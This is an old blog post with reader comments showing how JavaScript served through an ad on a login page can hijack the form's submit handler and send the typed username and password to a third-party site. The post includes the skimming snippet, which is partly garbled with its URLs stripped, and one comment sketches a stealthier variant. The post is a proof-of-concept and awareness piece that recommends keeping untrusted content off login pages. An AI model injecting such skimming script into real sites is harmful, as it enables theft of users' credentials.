Notice: This blog is no longer updated. You may find a broken link or two

You can follow my new adventures @mikeonwine

I spent the last hour trying to prove this idea I’ve had for a while. Say you wanted to steal user’s login information for various social networking sites to steal their personal info and do who knows what with it. Well guess what… super easy to do if you can somehow get an ad (either third party or flash) on the login page of your victim site. This shouldn’t be too difficult since so many sites have login forms on practically every page.

Ok, how do you do it? Lets pretend you have a web page that has the following form on it:

<form method=\"post\" action=\"do_login.php\" id=\"passform\">
<b>User:</b><input type=\"text\" name=\"username\" /><br>
<b>Pass:</b><input type=\"password\" name=\"mypass\" /><br>
<input id=\"submitbutton\" type=\"submit\" value=\"Submit password\"/>

This is one of the most basic of HTML forms that simply takes a username and password and submits it to a login page. Normally when you fill out this form you click submit and end up being logged into the website. Now, lets imagine that we show an ad on this page. Our sketchy player above decides that he is going to steal your info using an advertisement, and guess what, it’s remarkably easy. Lets say we have the following ad-tag on the page:

<script type=\"text/javascript\" src=\"\"></script>

This is a very standard way of serving ads. You’ll see it pretty much through the web. Also, there are various ways through which you can execute javascript on the browser. You can either do this directly if you can serve a third party tag, or flash has various mechanisms where you can execute javascript as well. So, how do we steal your info? Super easy… here’s the javascript to do it :)

 theForm = document.forms[\'passform\'];
 oldsubmit = theForm.onsubmit;
 theForm.onsubmit = function () {
    user = theForm.childNodes[2].value;
    pass = theForm.childNodes[6].value;\'\' + pass + \'&user=\' + user,
 } ;

 document.write(\'<img src=\"\"/>\');

So what does this code do? We store a copy of the original form submission JS into “oldsubmit”, then we simply replace the existing form submit and grab the username and password you’ve input and then send it to a third party website. I happened to choose my failed real estate site, was the only third party I could get access to =). Not bad right? Note that I transmitted the info using a popup window but I’m sure the smarter guys out there could think of a hundred different ways of doing this.

Own a website that people login to? I would highly recommend removing any and all untrusted third party content from pages that have sensitive information.

I’ve put together a very simple working example here. This page shows a login form with a third party ad. Try putting in a random username and pass, you should see a popup from the “third party” that served the ad with a nice little message =).

Related Posts:

  • Sandi Hardmeier

    It didn’t work for me – the results in the popup were:

    “I just stole your info, your username = undefined and your pass is Submit password”

  • Mike

    Seems I should do some cross-browser testing :) .

    Works in Firefox right now, and I’m sure I can get it to work in IE as well, might just need to do a bit of tweaking.

  • / dash » Trust

    [...] released a little demo that illustrates how an advertisement (or a widget, for that matter) provided by a third-party [...]

  • David Weinstein

    Another way to protect yourself from this sort of attack as a publisher is to only serve IFRAME ads (never javascript) and ensure that the domain serving the IFRAME content is different that the domain of the site where the ad is appearing. If you do this, you’ll always be safe from XSS attacks served via ads, since the browser’s security model will not let javascript in the child IFRAME from reading anything in the DOM on the parent when the domains don’t match.

    As a sidenote: the insidious thing about XSS attacks served anonymously via an adserver is that there’s almost no way for the victim publisher to know that something like this is taking place. It’s a silent but deadly attack and it’s therefore very hard to get a handle on the scope of the problem.

  • http://1781501 3543244

    As far as the other ways “the smarter guys out there” could do it, my JS would be more like:


    Where that “stealer” would record the submitted information and either invisibly redirect (for a GET form), or write out an invisible document with some javascript to submit it to the original location.

    Only the closest observation would catch it. Especially if the name is more innocuous than “”.

  • whooknew

    Just 10 minutes ago I was asking a friend about the security ramifications of widgets. He pointed me to your blog immediately. I’m not a programmer but I do know there are more people who use javascript/widgets that don’t understand code than those that do.

    As most of us (non-programmers) just copy code and stick it into templates, I can foresee a very ugly phenomenon. Imagine an army of nasty widgets that collect different pieces of random information and another brain program that puts the info back together. I don’t what could happen, but I’m sure it is not a good thing.

    This could lead to very damaging software as the exponential viral effects are tremendous. I would assume that in the future widgets will be able to play with other widgets and thus several independent programs may run on the browser simultaneously. Maybe I don’t know what I’m talking about, but it seems possible.


  • data recovery

    Great post, thank you